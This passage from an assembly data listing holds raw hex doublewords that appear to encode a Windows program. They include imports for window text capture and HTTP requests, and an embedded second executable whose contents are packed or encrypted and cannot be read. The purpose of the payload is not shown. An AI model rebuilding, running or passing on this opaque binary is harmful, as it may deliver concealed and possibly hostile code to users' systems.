6F4E5F6Ch dd 79666974h, 6E6F6349h, 87000057h, 0D4000001h, 10001C3h dd 444C5255h, 6C6E776Fh, 5464616Fh, 6C69466Fh, 5765h, 192h dd 1C26Ch, 73694401h, 63746170h, 73654D68h, 65676173h dd 4D010057h, 5765766Fh, 6F646E69h, 47010077h, 69577465h dd 776F646Eh, 65440100h, 6E695766h, 50776F64h, 57636F72h dd 61430100h, 69576C6Ch, 776F646Eh, 636F7250h, 53010057h dd 69577465h, 776F646Eh, 74786554h, 45010057h, 6C62616Eh dd 6E695765h, 776F64h, 6E655301h, 73654D64h, 65676173h dd 52010057h, 61656C65h, 61436573h, 72757470h, 43010065h dd 74616572h, 6E695765h, 45776F64h, 1005778h, 69577349h dd 776F646Eh, 68530100h, 6957776Fh, 776F646Eh, 65530100h dd 79614C74h, 64657265h, 646E6957h, 7441776Fh, 62697274h dd 73657475h, 65470100h, 72754374h, 50726F73h, 100736Fh dd 57746553h, 6F646E69h, 736F5077h, 65470100h, 73795374h dd 6F6C6F43h, 47010072h, 65447465h, 6F746B73h, 6E695770h dd 776F64h, 64655201h, 57776172h, 6F646E69h, 53010077h dd 69577465h, 776F646Eh, 676E6F4Ch, 47010057h, 6C447465h dd 65744967h, 5201006Dh, 61656C65h, 43446573h, 65470100h dd 616C4374h, 614E7373h, 57656Dh, 73795301h, 506D6574h dd 6D617261h, 72657465h, 666E4973h, 100576Fh, 57746547h dd 6F646E69h, 78655477h, 1005774h, 57746547h, 6F646E69h dd 6E6F4C77h, 1005767h, 61766E49h, 6164696Ch, 65526574h dd 1007463h, 69676552h, 72657473h, 73616C43h, 57784573h dd 72540100h, 6C736E61h, 4D657461h, 61737365h, 1006567h dd 44746547h, 55010043h, 6765726Eh, 65747369h, 616C4372h dd 417373h, 736F5001h, 69755174h, 73654D74h, 65676173h dd 68430100h, 6F4C7261h, 57726577h, 72430100h, 65746165h dd 6E6F6349h, 69646E49h, 74636572h, 65500100h, 654D6B65h dd 67617373h, 1005765h, 7373654Dh, 42656761h, 57786Fh dd 73654401h, 796F7274h, 6E6F6349h, 6E450100h, 69615064h dd 100746Eh, 65696C43h, 6F54746Eh, 65726353h, 1006E65h dd 74736544h, 57796F72h, 6F646E69h, 47010077h, 69577465h dd 776F646Eh, 74786554h, 676E654Ch, 576874h, 73654401h dd 796F7274h, 65636341h, 6172656Ch, 54726F74h, 656C6261h dd 63530100h, 6E656572h, 6C436F54h, 746E6569h, 65470100h dd 6E695774h, 52776F64h, 746365h, 74654701h, 7373654Dh dd 57656761h, 68430100h, 654E7261h, 577478h, 67655201h dd 65747369h, 6E695772h, 4D776F64h, 61737365h, 576567h dd 6C694601h, 6365526Ch, 49010074h, 69684373h, 100646Ch dd 43746553h, 75747061h, 1006572h, 74736F50h, 7373654Dh dd 57656761h, 65530100h, 726F4674h, 6F726765h, 57646E75h dd 6F646E69h, 47010077h, 6F467465h, 737563h, 74654701h dd 65726150h, 100746Eh, 61766E49h, 6164696Ch, 67526574h dd 4C01006Eh, 4364616Fh, 6F737275h, 1005772h, 69577349h dd 776F646Eh, 62616E45h, 64656Ch, 74654701h, 65696C43h dd 6552746Eh, 1007463h, 61657243h, 63416574h, 656C6563h dd 6F746172h, 62615472h, 57656Ch, 74655301h, 75636F46h dd 42010073h, 6E696765h, 6E696150h, 47010074h, 6C437465h dd 49737361h, 456F666Eh, 5778h, 19Dh, 1C364h, 746E4901h dd 656E7265h, 6F6C4374h, 61486573h, 656C646Eh, 65440100h dd 6574656Ch, 436C7255h, 65686361h, 72746E45h, 1005779h dd 65746E49h, 74656E72h, 72657551h, 74614479h, 61764161h dd 62616C69h, 100656Ch, 65746E49h, 74656E72h, 64616552h dd 656C6946h, 6E490100h, 6E726574h, 6F437465h, 63656E6Eh dd 1005774h, 70747448h, 646E6553h, 75716552h, 57747365h dd 6E490100h, 6E726574h, 704F7465h, 576E65h, 74744801h dd 65704F70h, 7165526Eh, 74736575h, 0A9000057h, 88000001h dd 0FF0001C3h, 73h, 50000000h, 4C000045h, 53000401h, 496C6Dh dd 0 dd 0E0000000h, 0B010300h, 901h, 1BAh, 4E2h, 35000000h dd 0BDh, 10h, 1D0h, 4000h, 10h, 5000002h, 0 dd 5000000h, 2 dup(0) dd 6D0h, 4, 2000000h, 800000h, 1000h, 10h, 1000h, 10h dd 10000000h, 2 dup(0) dd 0FC000000h, 0DC00027Ch, 0 dd 310h, 3BBh, 0Dh dup(0) dd 70000000h, 4000024Dh, 3 dup(0) dd 0DC0001D0h, 3, 5 dup(0) dd 2E000000h, 74786574h, 0DF000000h, 1B8h, 10h, 1BAh, 4 dd 2 dup(0) dd 20000000h, 2E600000h, 74616472h, 0CC000061h, 0C1h, 1D0h dd 0C2h, 1BEh, 2 dup(0) dd 40000000h, 2E400000h, 61746164h, 98000000h, 62h, 2A0h dd 44h, 280h, 2 dup(0) dd 40000000h, 2EC00000h, 63727372h, 0 dd 3BBh, 310h, 3BCh, 2C4h, 2 dup(0) dd 40000000h, 400000h, 0B40006C0h, 281h, 6CEC700h, 0EF83AF00h dd 0D496BD90h, 3BCBA886h, 718EF5Ah, 486E7EDEh, 65802DAAh dd 0A2A86E5Ch, 25377204h, 6971407Dh, 75BD4B87h, 11870B1Ah dd 65510684h, 59946D50h, 59A80C36h, 669AE057h, 0F228ED84h dd 0AC6220C0h, 40399CB9h, 86C945D1h, 9116AAA4h, 0D8954662h dd 9EEEF129h, 0D6FC9A3h, 543FC708h, 49C4F71Fh, 0EB5A677Ah dd 3C0A4B24h, 46EABD49h, 0B65C1C9h, 0E138C4BCh, 0A4DFB9CAh dd 69093CEDh, 5C3104AFh, 0F762FB38h, 7D55CA90h, 0F31216D9h dd 722DAB73h, 9DDBE93h, 0D2737923h, 0A4829Eh, 30D761F0h dd 44027649h, 36A9DFFDh, 76795A9Eh, 0F544E46Fh, 0E78F78A4h dd 719CECE2h, 0DE4C8989h, 56BA121Fh, 0EAC9173h, 2DDA8BDAh dd 6A65969Eh, 69E78DC2h, 0F53CC665h, 3A712518h, 231C0BE8h dd 8F80AFF7h, 9430F38h, 9A2FB8C7h, 0A823D769h, 24648EF5h dd 4A8736DCh, 15105E3h, 7611DAFEh, 6B7BC188h, 388A447Dh dd 8E9CA812h, 34BB22F2h, 8DDDDDF4h, 65898A00h, 48032352h dd 0FFC64294h, 97A58BEEh, 0EAB1528Bh, 0FEC5442h, 0F25A75BCh dd 0CDF36E3Bh, 0C9D7BABCh, 0CE5D15BEh, 0B95051ACh, 7BCBE817h dd 0DAE77F7Ch, 0F1D24F63h, 0B67FD3C4h, 0B46220h, 0A7B857CFh dd 0F9F19775h, 0A8A32BE9h, 14E48314h, 0C6EF2B2Ah, 2F446616h dd 2A484E24h, 41666F3Ah, 623A443Ah, 150581B3h, 0AB6A258h dd 4BA0F04Eh, 802C9ADDh, 0D70DEE35h, 0CED4B81Ch, 51921B01h dd 90800EDCh, 47DDDEE2h, 0F4DB8AADh, 6D16102Fh, 69D9C0E2h dd 813799D4h, 0AAB9A75Bh, 0FBA2D81h, 4F4943D8h, 0B9F68FDBh dd 576F168Bh, 5B804105h, 84CD64BEh, 0E7F97E60h, 83B7B5BEh dd 1354ED8Ah, 0C5827A3Ch, 38945474h, 0D3193B4Bh, 81E12B56h dd 1CF0C34Eh, 0E7EC694Fh, 0A8138241h, 54E16105h, 41442BD5h dd 0F3C8FAE9h, 0AE40F815h, 78BA99CAh, 74C4696Fh, 0B262779Ch dd 973E9515h, 31B181B0h, 2F23F5A9h, 0A930175Dh, 0AE1341D5h dd 1FF6A283h, 0CE91763Eh, 4A1F179Ch, 565FAFC4h, 966C2E09h dd 0A40F4A0Bh, 439E49A9h, 48F96C70h, 0DA55BD22h, 60E926F3h dd 3FD9ADA7h, 9ADE2964h, 0C42CB724h, 0C554B3D0h, 0D88971E0h dd 32C34497h, 3683FF8Eh, 0AF8C77CDh, 36700CA5h, 885B9819h dd 2F450FC2h, 7B5B8B2Fh, 0C95CEF9Ch, 64476BC4h, 6CBB7D6Eh dd 5A83C95Ch, 84DB8C7Ah, 6A2BF87h, 80B0323Fh, 22E292Eh dd 145A9198h, 0A170F3BDh, 8F187735h, 0E0D014A7h, 64292D7Dh dd 0D29C782Dh, 58C1BA7Ch, 9EF42B0Dh, 0CA160EDAh, 0BB888E88h dd 0C1AD0757h, 0ADE4CA30h, 311F80C8h, 0D8CD10A1h, 0BFB4ACF4h dd 0D36D9A04h, 664B7214h, 0CC3C07ABh, 24366D48h, 0FE9A5F2Ch dd 0D08D6DC6h, 0B06D874Bh, 0BD266A43h, 0CFFCBB8Bh, 715637F0h dd 621F2A23h, 442733B2h, 1B52CAD3h, 3DD484Fh, 2022B1A5h dd 371CB9C4h, 0A2978BEh, 0E222600Bh, 3A6A420Dh, 63AC4713h dd 54ECD3C8h, 514574CCh, 7FD6FE00h, 0BAD90522h, 946F8B84h dd 0F7A0457Dh, 4A3B5481h, 0DD2D7577h, 8E4A8F80h, 0D2ACC9CCh dd 0DC2E3C9Bh, 0C50AE70Ah, 1B5045h, 0F0D8AD32h, 5086060Fh dd 1DA5A405h, 0B64DA9DAh, 89097CB2h, 95D08C9Eh, 47B9F6A4h dd 26E8AF63h, 97D940C7h, 1DC9DF29h, 0E4F0F6BBh, 6F254579h dd 0D0A3F565h, 2063FA34h, 189EBBE5h, 97400023h, 15FBCD5Bh dd 3746D2E4h, 9DE03B47h, 0DCC24C6Fh, 5E51E9E5h, 5AB264EFh dd 7ABE5CF7h, 1936398Ah, 5CDFAA1h, 0FE607B3Eh, 0F185B5B7h dd 0B612DBF1h, 0B6D2C852h, 2BF03081h, 1BF4BD38h, 3688EFB1h dd 92AA14C4h, 0EC0CE6A8h, 4C1B68F5h, 632E2A05h, 49B526FFh dd 29EA2C7h, 0B6C00556h, 0ECFE9D2Bh, 0B7CE6FD6h, 435EDA6Dh dd 0A88A887Eh, 0B6E306D9h, 1D51B6DDh, 0C9FEDC25h, 0EEF0E2F3h dd 931E1978h, 66298E57h, 0B24838DEh, 33612DF9h, 0B9FEEA55h dd 505AA31Dh, 135D523Bh, 91CF53B5h, 88858413h, 0DE1CE51Ah dd 3CB3D922h, 7519DE93h, 9D0ED300h, 0F6B61170h, 83952EB1h dd 1464CA27h, 0BB2B2AD5h, 6DF1BBB8h, 9A38686Dh, 0A08132F3h dd 0AFE4A7DAh, 8561BB36h, 0BDFF8786h, 0EA9623DCh, 92E63C71h dd 90675DA3h, 6E02E240h, 5005962Bh, 2F11EDF8h, 8027882Ch dd 561E98F8h, 524C4219h, 0F0E2E6BDh, 0DFDF79CDh, 608E5C55h dd 0B74053E1h, 6B01E588h, 0D79E8E76h, 3C48E42Ah, 0B2A6EFABh dd 0DB050D50h, 0F75C7226h, 0F3EED9Ch, 69151DA2h, 0FBCC13CBh dd 3D6566B9h, 0AF337B89h, 0E58AECE8h, 0C762B352h, 0CA671B1Dh dd 0CDF76518h, 9D36796Ch, 831BB752h, 0DD2F6565h, 51A4B07Ah dd 13BEE0D5h, 0BAC94C9Ah, 590EA995h, 3A91F6B4h, 5A2773EAh dd 0FDC46FF1h, 13B04925h, 15888559h, 9CDD3B54h, 188EF363h dd 6CCBF8C0h, 5F8D7A62h, 0B9BBBBAEh, 69370151h, 812B48B9h dd 6F066006h, 2F4DC691h, 7D3BC369h, 0B2E2E4E4h, 51FE8173h dd 0DF348B16h, 644A9749h, 7E74EC04h, 47608377h, 93D8B4E9h dd 336600E5h, 62896693h, 0EBC9271Eh, 329605EDh, 8241F073h dd 0B1C89983h, 84EF00CEh, 1D56ED5Ch, 0FC543B0Ah, 95739A0Fh dd 0EA594ACBh, 2DDB6B36h, 0F24FDA68h, 0B35F3261h, 9A9B5B63h dd 7F850FD9h, 11184677h, 0A2CC4808h, 6CD888A6h, 30BE81AFh dd 0E8D3EBECh, 6C864B10h, 1232D2D3h, 86822C2Fh, 4FC601BBh dd 0DA645234h, 191001F9h, 43307380h, 0F7D9467Ah, 84BAEF89h dd 0E3FC4C50h, 3F23B243h, 0CBD0AC30h, 73C61C3Bh, 1C655D64h dd 881B4D2Dh, 0CA5A7789h, 610913F5h, 6A3AF390h, 8D3A3CEDh dd 3999F677h, 35D435E8h, 29B8796Ch, 0E363B056h, 63D38E02h dd 49DAAFD6h, 84286585h, 0F8B2A81h, 0CF6A1AADh, 0D09E72Dh dd 0E362044Ah, 569141B6h, 9CABB077h, 2CB99D7Eh, 0CEBDF8DEh dd 0D9575ACBh, 0B8800857h, 19335F7Dh, 3E61D401h, 0C6D9962Eh dd 7D3A8E90h, 0A8DB17D9h, 32DCA3E0h, 0C8BC547Ah, 3D463077h dd 0A6DAFC46h, 0AC979CD9h, 47869B40h, 0A1EB51D7h, 7293135Eh dd 5B365A41h, 0D7A4330Fh, 0E5580664h, 5B87F44Dh, 0F49AFC62h dd 7C1C82CBh, 395E1354h, 0A9124E32h, 0D5D371A9h, 0B68A70ECh dd 0B020D4F5h, 0A459C818h, 282AF86h, 469932DBh, 724FF37Dh dd 800B17Ah, 6A993225h, 0DE3FFA7Eh, 52825E4h, 0A21B1817h dd 979440F2h, 0F4AAF5CAh, 0ED26407Eh, 337868D3h, 87F261DAh dd 0D4E612EFh, 38296D41h, 0B1B6DC87h, 0AEA879D5h, 0B5B28F2Ch dd 0F2A5CDBh, 0D76176Ah, 4746EA41h, 2BCA3F21h, 323F7650h dd 0C87CB6FBh, 70D155D0h, 253B0E83h, 0E67D468Fh, 0E75ED22Ah dd 0F8CD439Fh, 404C9C3Ah, 73892AFCh, 62A82395h, 95CFC828h dd 0BC0F7850h, 5B04C967h, 5D26AD12h, 59ABC33Ch, 0AB894FDFh dd 100A8424h, 0F173B582h, 0F7AD5106h, 4EA736CEh, 1B4DC452h dd 763AA63Ch, 9B84E30Fh, 0F41C52F0h, 2BD1B24Dh, 63B3ACB9h dd 8A1F086Bh, 86449C4Fh, 4CC602E1h, 0A42D8D37h, 70C82AFBh dd 495F23D3h, 44B4F6EEh, 12941C00h, 928FDB8Fh, 0DB6039Ah dd 0DB50B965h, 0F8FD1688h, 0E92CF1DCh, 0C71D9A5Fh, 0C85FC72h dd 2F811A11h, 0FBEE1355h, 9C6DB2CFh, 4827B9EFh, 0FD3C8770h dd 0FFD261D0h, 67B28541h, 0D16575Eh, 7208686Bh, 19B5D219h dd 0B2B51E58h, 8AB347EFh, 0C2FD9E0Eh, 0E04C3D51h, 9525A145h dd 6072A2C8h, 44FC6C0Ch, 0EAE271A7h, 531B4FCCh, 25D2CD98h dd 0D5220B5Ch dd 837256A5h, 0FFE57C11h, 735CCBD6h, 0DD1A4821h, 9FE114FBh dd 679F043Bh, 95E397FAh, 0F9BEBD8Fh, 16EA4D33h, 721018Bh dd 0BF484C23h, 41B3978h, 60A5FA3Ch, 0AF2D6C48h, 34AAD4F5h dd 92D38430h, 0CB90AD9h, 7AFCF9Bh, 6E2275CCh, 3A8FBA04h dd 823FE25Fh, 0EDDB865Fh, 549F5E1Fh, 30572CBh, 5102E98Bh dd 0CFA2F187h, 798E750Bh, 5A645F3Dh, 78C7001Ch, 0C7A0B309h dd 0CEE7344Eh, 7C6E359Bh, 2C038DE1h, 120CFAB3h, 0D2ABB18Eh dd 0AAAADB3Ch, 0FC888C3Eh, 0DCBF32ECh, 6724568Ch, 0B963A3FAh dd 0BAC582B7h, 0C711B445h, 2B4C6D45h, 5CA69811h, 219A8F28h dd 92C5F6F5h, 0D2B74A51h, 17E49651h, 973D53ABh, 0E07C76F5h dd 62819BFDh, 382C3259h, 3AA1ED66h, 5D822E23h, 1F6F1A8Ch dd 1033132Eh, 9F5F83F0h, 0EBBA626Ah, 325EB15h, 8200C21Fh dd 49BA2353h, 5A14C32Dh, 0BDE72A80h, 0E21D69BAh, 7CD84C9Ah dd 0B5E3BB2Eh, 78132817h, 769B17BFh, 7C8A350Bh, 918489B2h dd 0B1BA29B4h, 610D354Ah, 8D6D8F48h, 964ABD1Ch, 6BD6F20Ch dd 0ECBA86B2h, 340AA69Bh, 0F7E136EFh, 62CF20DAh, 0C8B698FAh dd 7D061619h, 0A8B09EF3h, 26E811D8h, 0C516608Dh, 98462F92h dd 0C6519014h, 0A83496BAh, 2E862C22h, 0C151366Bh, 1116A6A7h dd 139C961Eh, 52599326h, 0B83C1168h, 9A34D526h, 1BCAB35h dd 208367F9h, 0A0DACE17h, 4F4C084Ch, 265FAABAh, 44210B6Eh dd 0D227C662h, 60E7357Eh, 0D27254D5h, 54AB3D80h, 0E8302E34h dd 39ADFDC8h, 34655597h, 7AB69A31h, 0C70E8BB6h, 7066A118h dd 2F4E4BA5h, 0D7AC29B5h, 2DBC205Fh, 7B4AEDBEh, 3025BBD8h dd 0F780EDA7h, 0FBEEEB70h, 0E42D69EFh, 6092F8AAh, 0BA33C19h dd 9C4F61D5h, 0E753145Dh, 0C3E90138h, 422939EFh, 73312F97h dd 0B53FB2E0h, 6924F3BEh, 0C3698C6h, 0D2841359h, 0E9560C69h dd 0D1C84750h, 0AE7E8239h, 1D633B16h, 0ECFDACEBh, 935E6ECh dd 0D6080FBFh, 63D17A84h, 0EC09C2Dh, 5DE8716Ch, 0B173B233h dd 0F3831950h, 29E7E5E7h, 0E9C26CE5h, 0D3CEC9D5h, 0BCEB1EC4h dd 0B3C65FEEh, 9F66C820h, 29A63797h, 250BB916h, 95A6AA4Fh dd 268E2B94h, 0E682C342h, 7B7892D8h, 0A6B7355h, 11D0F27Dh dd 0DFC3554Ah, 0C7AF9F00h, 17E7D7F3h, 76BE1718h, 7CC051CEh dd 1AF03A29h, 57771813h, 0FE69A01Ch, 0AAEAF122h, 0B79361F7h dd 0F86E30BCh, 9B32097Bh, 9E820FF6h, 0BC3E320h, 0C40D959Dh dd 41BD0FC2h, 76A9BCD3h, 1138A69Dh, 95DDB93Fh, 932D5FDCh dd 5808E262h, 18A2782Ch, 170B1E35h, 8CE93F9Ah, 64546DFBh dd 3EEDB691h, 0E2E29963h, 0C7BD09Dh, 12A454A9h, 0BFF725D3h dd 8C515B19h, 6EEF2F35h, 67BF2A15h, 0E18CC11Bh, 0CC942B59h dd 0FADE1294h, 0F79F9E37h, 742FB375h, 7173FE30h, 7705D0A7h dd 91A19CCEh, 55D3532Fh, 3F33B514h, 8F605476h, 3F9F1FEAh dd 5ED5923Eh, 0E8271CD6h, 0AE8D029Eh, 9D3FC156h, 9E395ADh dd 0E7424947h, 0FB933CCBh, 42666D01h, 0E49A05C7h, 0B498143Ah dd 0CC0548E6h, 0D2D15B9h, 3736867Ah, 9B741725h, 0F8BF868Dh dd 7BC1000Ch, 0C6E13344h, 5754534Bh, 3C3A1A77h, 0BC11913Bh dd 42703FAh, 6F34D3EFh, 3A9BEE2Ah, 6236D4F2h, 0F72C362Dh dd 35B2C49Bh, 4F964AB5h, 3BB31B0Eh, 8D3AC331h, 49D94375h dd 0C6426FBDh, 0B3EF082h, 99C7CE65h, 1C59C000h, 8008F82h dd 50E70035h, 0DC3DD07Fh, 0AC5A3C12h, 1E73D914h, 627C631Eh dd 0A3EBB6CDh, 4EFF7B31h, 0DBFEF24Ah, 0A102E620h, 0AE588D3Eh dd 2B9826CCh, 0DFFBCF25h, 0C049DCC6h, 23BB25CAh, 0E998C2CCh dd 0E353B243h, 9BD37024h, 7190CE9h, 3821F893h, 0D19754E3h dd 49BE1Ch, 0D14C79Bh, 592B5E6Dh, 31FC79CCh, 3D57F971h dd 0DD09D614h, 74EEC399h, 862DDB0h, 9A852DEDh, 64E88DAAh dd 0A29D3C29h, 32E54EB6h, 49407B95h, 0E4548460h, 0DB6F5A8Fh dd 863BB5D7h, 90232F73h, 35E33E55h, 5F7FB5F9h, 0A4286669h dd 0DD83B00Ah, 76EF465Ah, 48ACB291h, 86068C54h, 8CDE8FA2h dd 7C4C8281h, 0E85451Bh, 4C399F74h, 0C14F84B4h, 96DE54E0h dd 6AFDBA01h, 75F50FBh, 0EC2E2906h, 3306105Fh, 4CBB8F79h dd 0DE600908h, 7990FE97h, 0E720FFA8h, 5CF7BA63h, 1311409h dd 51683D2Ah, 4684A984h, 3F04FC16h, 20CFB8B1h, 0E3A5C5Ah dd 4F8E26E9h, 0DDBD74D8h, 0C34DACE3h, 94D4BCFDh, 0BEB2EEFFh dd 8F307035h, 0E9FD22F2h, 0F6CEAE0Dh, 0E2765EB0h, 0EE21113Bh dd 5041614Bh, 1792088Ch, 0F87B1ADDh, 0D7EA9BD2h, 86E47D05h dd 0AAB4BA5Ch, 0B89A71F2h, 0F1090EE9h, 0D0952318h, 0EC4FA2BAh dd 0AB40FC39h, 4281F170h, 177AFA56h, 4DE13C52h, 8627AAC2h dd 84AEB439h, 0DECD6608h, 7C463690h, 793EB6F8h, 1F80A669h dd 0A9AC1CBDh, 6C172E6h, 0C961B523h, 2F78F49h, 8FD7275Ch dd 381BFB00h, 0CF9FDA7Bh, 48342452h, 67786AC1h, 0A647BD4Fh dd 5B1E4BA5h, 0FF5FCAB6h, 0C4FA75B3h, 4EE1AC49h, 0A5211C31h dd 51134895h, 7D10A8E3h, 0B1BE765Fh, 5935E54Ah, 5BDCB2A2h dd 0C13AB896h, 2ADA432Fh, 4FCCD342h, 8BA1C068h, 0B3E8F010h dd 2CE1807Dh, 0B3FBC386h, 0CF4C059h, 46B84AC7h, 46722B5Ch dd 93D33990h, 77B35EBAh, 86B85A44h, 0DC3B052Dh, 0EED42D80h dd 924189E0h, 4B329F31h, 0A87516C8h, 3840B53Ch, 72510A30h dd 579678FFh, 908FDD8Ch, 0E16C80E6h, 13597799h, 38507A93h dd 0CB7FC8FEh, 0D3FE2722h, 0B26F3EADh, 2D1E1991h, 0C8054806h dd 0FBFE8672h, 0F8F6E5DAh, 1BCBD521h, 7BAB1317h, 5F63A85Ah dd 6DE860B2h, 4227806Fh, 0FCFEDBB4h, 0C96C2B76h, 97CFB90Eh dd 1080938Eh, 0FD0FB9D6h, 546CDCC3h, 2F91FC40h, 61ACBE0Ch dd 591638A9h, 0F896EFA0h, 0ABB311FAh, 0A2EE5000h, 0C7ABF3D8h dd 0C34CDEA7h, 0ABAAC086h, 92AD96C7h, 2353D930h, 9ACB896Ch dd 0F7682C10h, 0A3FF0EBh, 0DB0A5CA8h, 0D526F5F6h, 2D02E71Eh dd 0DC2749C2h, 0CC5A2137h, 407954DAh, 9E82B231h, 0C114007Ah dd 3B00327Ch, 0AA67A46Eh, 0F358E11Fh, 1CF6ABB2h, 0B5CF10EEh dd 0B72DA8A4h, 364BEFEAh, 0C60327D6h, 467851DCh, 9A1BD1D8h dd 0AC424C8Bh, 0AE49282Bh, 5ADF40DAh, 0DCC3EB5Eh, 16F60F45h dd 8805F68Ch, 2275BDAFh, 0DE75848h, 0C2A6DBEEh, 5549460Dh dd 9C82112Ah, 5BFD01B1h, 31F41FF5h, 5EE73017h, 0BDD717EAh dd 3C1E13F0h, 0D7153794h, 0D98EED88h, 69163BDh, 0CDFE1813h dd 0F4AE8B57h, 8DFA9A7Dh, 91F5DC65h, 75EA863Fh, 83C59FCAh dd 9C0BF902h, 16568E61h, 0A01F35F1h, 0E609CA72h, 6222D2FAh dd 0DCD61E85h, 12CD72DDh, 0CA4D99EFh, 0CE0D5822h, 0DD5838EDh dd 118A1A03h, 16B3DCC4h, 8FFD3299h, 52A106E2h, 2497C27Dh dd 0DB811ECFh, 0B8648BE6h, 55C26F74h, 0EDB0722h, 0CEB18F51h dd 0DDB6973h, 65BB4FFDh, 1ED19EC2h, 7BABE7A5h, 2F205706h dd 15C00C43h, 209C5693h, 0F160E5EDh, 187CCB93h, 0DB269AC5h dd 0BD3491F0h, 73798097h, 567CB56Ch, 57AC2ED7h, 46B805D3h dd 1140702Fh, 8BA03703h, 235F9539h, 0EFD7F7A5h, 0E89059BDh dd 0C4209F1Dh, 464DA428h, 0E7AEF364h, 0FEBD7440h, 0B8CF468Ch dd 0DE2498DBh, 9E64E4E8h, 0E2B43D3h, 78DE007Ch, 613D57C2h dd 0CFE48C4Ah, 551A9C33h, 139A08B8h, 2F078326h, 0C2DF7B18h dd 0C081C12Ch, 0A1FC274Bh, 82033684h, 5A4EB5B8h, 0BD00A6Fh dd 8E470C66h, 0FB1CE8D5h dd 918BFBCDh, 0E79AD170h, 13D5FB66h, 7719083Ah, 583D2F2Bh dd 2706F802h, 60FA80B0h, 0A34215EFh, 8ED681Fh, 0CD490ADBh dd 14CD4F1Dh, 4044E9FCh, 7B684ED4h, 25D74805h, 5757B19Eh dd 0A2DF7583h, 0DE736A20h, 0AFDF66F3h, 13648DDh, 36FD6296h dd 0FCC75728h, 3418CD7Eh, 8498819Fh, 6903E191h, 0C609BB84h dd 3ABCC26Fh, 0B1B0FACFh, 77A397AFh, 1918D15Bh, 1B748C13h dd 0A6044A05h, 0F50BA3B1h, 76E5699Ah, 7C2E910Bh, 0FEE27870h dd 0D34132BFh, 82E59EE9h, 71723CB9h, 4ADC2088h, 0A3268FACh dd 0CD4ECF18h, 86FEDDFBh, 557F5A1Bh, 416FE6DAh, 52D2D054h dd 0E4120EBFh, 3AD7CE38h, 0A1288CDCh, 56F9A5B8h, 7632397Ch dd 249FFEF7h, 2A16242Eh, 26770E59h, 0D50C05EFh, 9B603BC9h dd 0DF61DE31h, 0F5FE75E2h, 0E1E2A6E9h, 25127139h, 25F72015h dd 58E3B1CBh, 5718CBAEh, 0CF048EBAh, 0BA27B750h, 0C0302D87h dd 26EAF1BDh, 0E3000C1Bh, 7370E6E5h, 88026640h, 20E6352Eh dd 0C47F4AF2h, 6EDAB4C3h, 1693989h, 3DF90DD4h, 50C81A77h dd 0C0432E2Ch, 0B91B944Fh, 83143D9Ah, 0AA5A479Bh, 9012C76Ah dd 9046E08Ah, 4FFBB626h, 0B7DA54CEh, 0EBFA2324h, 0EEE466AFh dd 0C394943Fh, 0FA694889h, 622BCAFCh, 5CE25B19h, 4E1740B8h dd 0A59E2F7Ah, 3A25A86Dh, 479189FDh, 0B60462EAh, 48C9C40Fh dd 41D258DEh, 80F73E2Eh, 4CB9A630h, 8A9536C4h, 9D9A7150h dd 2D6B8636h, 0EAA9979Ah, 1E04C57Dh, 0B545F532h, 0FA1BBA7Ch dd 0BBE7428Fh, 8B00045Bh, 4D347550h, 9627EC45h, 39594CA4h dd 34E78A97h, 13AFD9C4h, 5FF44BB4h, 55CC96F7h, 580C86D6h dd 4F97717Ah, 67F5372Dh, 81FC64D1h, 26F3CE53h, 0DFA4D92Ch dd 57D36ED6h, 0ADBC5D42h, 296D3EFEh, 75B652F1h, 629E5054h dd 6C7D96DAh, 6C8C3474h, 0DD16DB85h, 86CE5AE2h, 417F02B0h dd 9272A8CBh, 589DF51h, 0AB738B75h, 0F0CE93ADh, 7393453Ah dd 80E5D81Bh, 419977DBh, 0AAA084E0h, 0CC341F45h, 884DBB3Bh dd 0A3F44C7Bh, 0F9389C4Fh, 22002FDCh, 0BFC4A845h, 5AF6A52Ah dd 3C88EF3h, 169F9C46h, 9517170Bh, 7FDCBCBDh, 699F41B7h dd 0D3323CDEh, 0AAB5E0B7h, 1C49EB4Ah, 0F0826FDh, 0A5E7E3B2h dd 0C027068Eh, 0C09DCC00h, 47C73FB1h, 0C1B94268h, 0FC974CB1h dd 6AF7200Fh, 49CAFFB0h, 0B47C8BB1h, 78ED756h, 33352C38h dd 34C2D15Bh, 879928E9h, 0B2F8A91Eh, 0C80AD7BAh, 0BCD52ADBh dd 2C76144Ch, 0B9DC3564h, 0D1B913Fh, 7DD7541Ah, 57FC8387h dd 931E4F37h, 28F41131h, 3C38832Ch, 0DF1BAA5Eh, 44E73DFh dd 6AAA78E9h, 7F25BB62h, 4A8C8708h, 2AACECD6h, 0E8769AD2h dd 0F2F6D02Eh, 1C175B90h, 0B5A48F88h, 561ABB2h, 4883C2Bh dd 0F82BE640h, 0B3A6800Ch, 364D64C0h, 0FF0E581Fh, 0D0B081C2h dd 0BB0FBDECh, 92905D8Ah, 0AC0B118Dh, 5836C88Ah, 0DF100FD0h dd 0D4A66A63h, 31569261h, 0E501B538h, 74F7822Dh, 795BC4ACh dd 0A1F8E0AAh, 8DF03C38h, 70470C2Eh, 0D55C0C75h, 332BF0Ah dd 0E9009BF5h, 164B7B77h, 0B534EF91h, 75681A3Fh, 5BAFAE45h dd 8EFBBE06h, 0A74360Ch, 1C02D018h, 0FCEADC68h, 26F11EB4h dd 0CCBF0F6h, 0FD9B90F5h, 6E1928ECh, 71128122h, 0D2B665EBh dd 6EAA8FE9h, 0BEF108BAh, 0A6C10796h, 0A60C409Dh, 31E52C6Ch dd 0D9BB8953h, 66928E73h, 0BE95672Eh, 0C25662AFh, 2B2B85EFh dd 8601828Ch, 151ED74Ah, 756A8CA3h, 4BEA89E7h, 8E9C7928h dd 0D755A361h, 0D51F41C0h, 0EEE8009Fh, 0C2DAA734h, 453442Ch dd 413BA29Dh, 7DF02776h, 0B221A923h, 48D6DEF3h, 2385241Eh dd 3A2800CFh, 3BEF7035h, 6A65A687h, 6E9008B2h, 76D88EAAh dd 8DA25D7Ch, 776DF2C1h, 140D5F37h, 7AC26CF3h, 0D06D798Dh dd 7CF8ED2Ch, 7B9DBA67h, 0C89A647h, 22849A8Bh, 0C0DC4FAAh dd 2E518917h, 888A9092h, 0F198868Eh, 3FEBCAB6h, 5DB139A8h dd 7A6702BAh, 9C95462Eh, 0D7781A94h, 0B601585Dh, 0E8CF22F2h dd 70889074h, 0E5CFFE62h, 0D3F45C03h, 0E7667CB8h, 9B2CAE9Dh dd 45E4816Ch, 0FAABC021h, 5FED12FFh, 0AAEEE9F0h, 26D4245Fh dd 0D0997140h, 0C3651850h, 424B91C6h, 0D8EFBCAEh, 0AA56C8C3h dd 503CD1E4h, 0AF3DC30Ah, 0A32DB016h, 4263E3C3h, 